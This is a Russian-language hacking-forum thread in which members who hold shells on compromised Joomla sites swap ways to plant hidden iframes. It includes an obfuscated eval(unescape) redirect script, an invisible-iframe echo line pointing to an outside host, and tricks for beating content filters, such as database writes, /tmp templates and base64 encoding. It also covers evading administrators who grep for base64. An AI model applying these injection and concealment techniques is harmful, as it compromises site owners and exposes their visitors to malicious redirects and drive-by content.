CMS Joomla - вставка iframe.

Discussion in 'Песочница' started by Nek1t, 20 May 2008.

  1. n0ne

    n0ne Elder - Старейшина

    Joined:
    1 Jan 2007
    Messages:
    542
    Likes Received:
    284
    Reputations:
    -56
    XaCeRoC, если ты хочешь профреймить php скрипт - то надо добавлять фрейм или после ?> или между <??> но с помощью echo '<iframe....';
     
  2. ProoF

    ProoF Elder - Старейшина

    Joined:
    25 Apr 2007
    Messages:
    27
    Likes Received:
    8
    Reputations:
    1

    Я в чистый HTML добавляю как на 2 рисунке и он секунд 20 работает потом кудато изчезает странным образом :(
     
  3. Nek1t

    Nek1t Elder - Старейшина

    Joined:
    7 Mar 2008
    Messages:
    181
    Likes Received:
    16
    Reputations:
    1
    Хм... А точно не админ убирает? У меня такого никогда не было. Попробуй вставить iframe не через админку, а напрямую через БД. ;)
     
  4. ProoF

    ProoF Elder - Старейшина

    Joined:
    25 Apr 2007
    Messages:
    27
    Likes Received:
    8
    Reputations:
    1
    ага это точно не админ убирает 100% :) да и у меня такова тоже не когда не было =(

    Там короче что то стоит так как вот сделал эксперимент тока что удалил нтмл код из меню прошло несколько сек и меню вернулось в начальный вид значит там какойто модуль стоит или еще что-то что возвращает все в исходный вид =(
     
    #24 ProoF, 9 Jun 2008
    Last edited: 10 Jun 2008
  5. Nek1t

    Nek1t Elder - Старейшина

    Joined:
    7 Mar 2008
    Messages:
    181
    Likes Received:
    16
    Reputations:
    1
    Эммм... Никогда такого не видел :) Стукни в аську - посмотрим ;)

    Кстати, не знаю с чем это связано, но если в index.php у некоторых CMS добавлять
    PHP:
    echo "<ifame...";
    то скрипт не работает... приходилось делать
    PHP:
    echo(base64_decode("HJ3HkqNQEk..."));
     
    #25 Nek1t, 10 Jun 2008
    Last edited: 10 Jun 2008
  6. Grey

    Grey Banned

    Joined:
    10 Jun 2006
    Messages:
    1,047
    Likes Received:
    1,315
    Reputations:
    1,159
    Связано это скорее всего с тем что ты забываешь экранироать кавычки:

    PHP:
    echo "<ifame...";
    В этом случае нужно экранировать все двойные кавычки:

    Code:
    echo "<ifame [COLOR=Red]\"[/COLOR]bla[COLOR=Red]\"[/COLOR]bla";
     
  7. ProoF

    ProoF Elder - Старейшина

    Joined:
    25 Apr 2007
    Messages:
    27
    Likes Received:
    8
    Reputations:
    1
    Теперь у меня проблема такая вставляю в контент фрейм от там сохранится но на самом сайте выводит к примеру если в ставить

    <script type="text/javascript">
    eval(unescape('%77%69%6E%64%6F%77%2E%6C%6F%63%61%74%69%6F%6E%20%3D%20%22%68%74%74%70%3A%2F%2F%77%77%77%2E%68%69%64%65%6C%69%6E%6B%73%2E%63%6F%6D%2F%3F%39%31%6E%74%74%73%76%6C%68%6C%22%3B'));
    </script>

    то он выводит тока
    <script type="text/javascript">
    eval</script>


    если просто <iframe то он вобще не чего не выводит хотя сохранено вобщем вопрос такой как еще можно замаскировать фрейм что бы его вставить?
     
  8. Nek1t

    Nek1t Elder - Старейшина

    Joined:
    7 Mar 2008
    Messages:
    181
    Likes Received:
    16
    Reputations:
    1
    Итак. Апаю тему. Появились следующие траблы. Стали попадаться такие сайты, в которых iframe просто нереально вставить.

    Джумла фильтруют любой вывод из БД, фильтруются все теги типа <iframe> и <script>. Они просто вырезаются. Фильтруется контент модулей и все остальное. Прав на запись в файлы нету!
    Оооочень нужно поставить iframe, выслушаю любые идеи! :eek:
     
  9. Grey

    Grey Banned

    Joined:
    10 Jun 2006
    Messages:
    1,047
    Likes Received:
    1,315
    Reputations:
    1,159
    Ну в таком случае сделай так:

    https://forum.antichat.ru/showpost.php?p=697864&postcount=10

    Это конечно геморно, но сделав один раз - второй сделать будет уже легче) - там гарантировано будет выводиться все как надо, т.к. вывод будет из файла, туда и пхп код можно запихнуть.
     
  10. Nek1t

    Nek1t Elder - Старейшина

    Joined:
    7 Mar 2008
    Messages:
    181
    Likes Received:
    16
    Reputations:
    1
    Ммм... За этот способ спс. Кое-где получилось ;) Ну а если вообще нету прав на запись? Вообще нету, ниодной папки!
     
  11. ProoF

    ProoF Elder - Старейшина

    Joined:
    25 Apr 2007
    Messages:
    27
    Likes Received:
    8
    Reputations:
    1
    Да но есть 1 проблема во всяком случае у меня не вышло сделать так как указано в том примере так как путь до темпла был слишком длинный и он не записывался весь в базу поэтому писалось ошибка что не может найти темпл =(
     
  12. Nek1t

    Nek1t Elder - Старейшина

    Joined:
    7 Mar 2008
    Messages:
    181
    Likes Received:
    16
    Reputations:
    1
    Можно в /tmp попробовать пихнуть шаблон, но вот сколько он там пролежит?... :)
     
  13. Rubaka

    Rubaka Elder - Старейшина

    Joined:
    2 Sep 2007
    Messages:
    263
    Likes Received:
    150
    Reputations:
    28
    А тут такая фигня есть права на запись везде де мона! лезу в index.php вставляю iframe
    с заекранированимы кавычками сейвлю и во всем index.php появляются слеши перед кавычками и усе перестает работать! хелп, чо ето ?
     
  14. n0ne

    n0ne Elder - Старейшина

    Joined:
    1 Jan 2007
    Messages:
    542
    Likes Received:
    284
    Reputations:
    -56
    Rubaka, если ты пишешь iframe внутри тегов <? ?>, то используй echo():

    Code:
    echo "<iframe src='http://blah.com' style='visibility:none'></iframe>";
    
    Или просто вставляй фрейм до или после этих тегов.
     
    1 person likes this.
  15. Rubaka

    Rubaka Elder - Старейшина

    Joined:
    2 Sep 2007
    Messages:
    263
    Likes Received:
    150
    Reputations:
    28
    обробую спс! ехо писал

    Обробовал! не пмагает! Хотел просто Хелло вывести нифига!

    В footer.php прописал <?echo "Hello";?> При сохранении все кавычки и в ПХП коде и в html cлешами екранируются!Убрал все слеши руками засейвил не пмагает! если сохранить несколько раз кол-во слешей увеличевается! Вообщем непонятно!!!

    2n0ne

    могу в ПМ тебе линк с шеллом кинуть,если канешна не прикрыли еще!сам глянешь чо за фигня
     
    #35 Rubaka, 10 Jul 2008
    Last edited: 11 Jul 2008
  16. n0ne

    n0ne Elder - Старейшина

    Joined:
    1 Jan 2007
    Messages:
    542
    Likes Received:
    284
    Reputations:
    -56
    Rubaka, ты это "Hello" писал внутри тегов <? ?> или за ними?

    з.ы. просто может какой-то конфликт или ещё что-то. Попробуй внутри оригинальных <??> написать echo 'asd';
     
  17. Rubaka

    Rubaka Elder - Старейшина

    Joined:
    2 Sep 2007
    Messages:
    263
    Likes Received:
    150
    Reputations:
    28
    с промлемой разобрался с помошью base64decode encode!
    А чо при сейве просто добавляет екранирующие слеши непнятно!
     
  18. Nek1t

    Nek1t Elder - Старейшина

    Joined:
    7 Mar 2008
    Messages:
    181
    Likes Received:
    16
    Reputations:
    1
    Не используйте в своих скриптах/айфрейм-кодах слишком много base64_decode/encode, т.к. админы сейчас умные пошли, и как только палят айфрейм на сайте - то сразу проверяют грепом на base64, "выуживая" таким образом все вредные коды.
    п.с. Проверено на себе, потерял много шеллов :(
     
    #38 Nek1t, 19 Aug 2008
    Last edited: 19 Aug 2008